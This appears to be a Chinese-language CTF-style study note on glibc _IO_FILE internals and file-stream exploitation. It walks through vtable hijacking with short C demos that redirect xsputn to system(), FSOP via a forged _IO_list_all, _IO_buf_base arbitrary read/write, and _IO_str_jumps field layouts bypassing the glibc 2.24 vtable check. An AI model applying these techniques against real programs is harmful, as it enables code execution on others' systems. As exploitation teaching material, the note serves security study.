io file 结构

struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;

size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

struct _IO_FILE *_chain _链接file结构形成一个链表,IO_list_all全局变量表示链表的头部

初始有stdin stdout stderr 但是这三个文件流在libc中

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

这三个指针是libc中 指向FILE结构
_IO_FILE结构外包裹着IO_FILE_plus 包含vtable 指向一系列函数指针

struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

在64位系统下 vtable 偏移为0xd8

IO_jump_t 中保存了一些函数的指针

void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

fread

size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;

count 是记录的个数
返回读取到的记录个数

_IO_size_t
_IO_sgetn (fp, data, n)
_IO_FILE *fp;
void *data;
_IO_size_t n;
{
return _IO_XSGETN (fp, data, n);
}

这个函数是其内部真正实现功能的函数
_IO_XSGETN 是_IO_FILE_plus.vtable中的函数指针 。
默认指向_IO_file_xsgetn

fwrite

主要是调用_IO_XSPUTN 来实现写入的功能
_IO_XSPUTN位于vtable中 默认对应_IO_new_file_xsputn 会调用_IO_OVERFLOW
_IO_OVERFLOW默认对应_IO_new_file_overflow

fopen 用于打开文件

fopen返回一个文件指针 内部会创建FILE结构,进行一些初始化操作

*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

先为FILE分配空间. 然后初始化vtable 调用IO_file_init进一步初始化

_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);

初始化过程中调用_IO_Link_in 把新分配的FILE 链入链表 并且是插入头部
之后__fopen_internal调用_IO_file_fopen 打开目标文件 。

fclose: 可以把缓冲区内最后剩余的数据输出到磁盘 释放文件指针和缓冲区

flose 首先调用_IO_unlink_it 将指定file脱链

之后调用_IO_file_close_it 会调用系统接口close关闭文件
最后调用vtable 的_IO_FINISH 对应_IO_file_finish ,函数中用到free释放FILE结构

printf/puts

printf 参数如果是\n结束的纯字符串 会被优化成puts
puts 用_IO_puts 实现的 这个函数操作与 fwrite大致相同

printf
:
vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

伪造 vtable 劫持程序流程

核心思想是篡改vtable 把vatle指向控制的内存 在里面布置函数指针

一共分为两种 一种是直接改写vtable里的指针 另一个是覆盖vtable的指针指向能控制的内存

实例:
首先要知道_IO_FILE_plus的位置

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

vtable_ptr[7]=0x41414141 //xsputn

printf("call 0x41414141");
}

根据偏移得到vtable地址 64位是0xd8,然后搞清楚劫持的IO函数调用了vtable的哪个函数,printf调用xsputsm
传入的第一个参数应该是对应的_IO_FILE_plus地址,因此还可以控制参数

#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

memcopy(fp,"sh",3);

vtable_ptr[7]=system_ptr //xsputn


fwrite("hi",2,1,fp);
}

在目前的libc2.23 位于libc段的vtable不可以写入。可以通过在内存中伪造vtable利用

#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable;

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);
}

可以选择libc 中的IO_FILE 在libc2.23之前这些vtable可以写入

FSOP

File Stream Oriented Programming
核心是劫持_IO_list_all的值来伪造链表和其中的_IO_FILE
FSOP 选择的触发方法是调用_IO_flush_all_lockp,会刷新链表中的所有文件流
相当于对每个FILE调用fflush 对应调用_IO_FILE_plus.vtable 中的_IO_overflow
当glibc检测到memory corruption时
会有以下流程
malloc_printerr -> _libc_message ->abort -> _IO_flush_all_lockp ->JUMP_field

  • libc 执行abort流程时
  • 执行exit函数时
  • 执行流从main函数返回时
    会运行
    _IO_flush_all_lockp

FSOP首先需要知道libc地址 _IO_list_all存储在libc中
然后通过任意地址写把_IO_list_all内容改为指向可控内存的指针
为了能让fake_FILE正常工作 需要让fp-_mode = 0
fp->_IO_write_ptr > fp->_IO_write_base
使用分配内存的前0x100作为_IO_FILE
后0x100个字节作为vtable
然后覆盖_IO_list_all 让它指向伪造的 _IO_FILE_plus
调用exit 程序就会执行_IO_flush_all_lockp 然后就可以调用其中的_IO_overflow
glibc 2.24中 会在调用虚函数之前检查vtable地址是否在_IO_vtable中
如果不在的话会调用_IO_vtable_check进一步检查
新的利用技术 关注点转移到了_IO_FILE结构内部的域 控制这些数据实现任意写或者任意读

_IO_FILE中_IO_buf_base表示操作起始地址 _IO_buf_end表示结束地址

例如scanf,stdin的初始化内存是在堆上分配的,
分配大小是0x400 对应 _IO_buf_base - _IO_buf_end

尝试修改_IO_buf_base可以实现任意地址读写

_IO_str_jumps 的vtable不在check范围内,vtable修改成_IO_str_jumps 就能调用不一样的文件操作函数

  1. fp->_flags & _IO_NO_WRITES为假
  2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))
  3. fp->_flags & _IO_USER_BUF(0x01)为假
  4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 不能为负数
  5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; 应当指向/bin/sh字符串对应的地址
  6. fp+0xe0指向system地址

或者用finish

_flags = (binsh_in_libc + 0x10) & ~1
_IO_buf_base = binsh_addr

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1
vtable = _IO_str_finish - 0x18
fp+0xe8 -> system_addr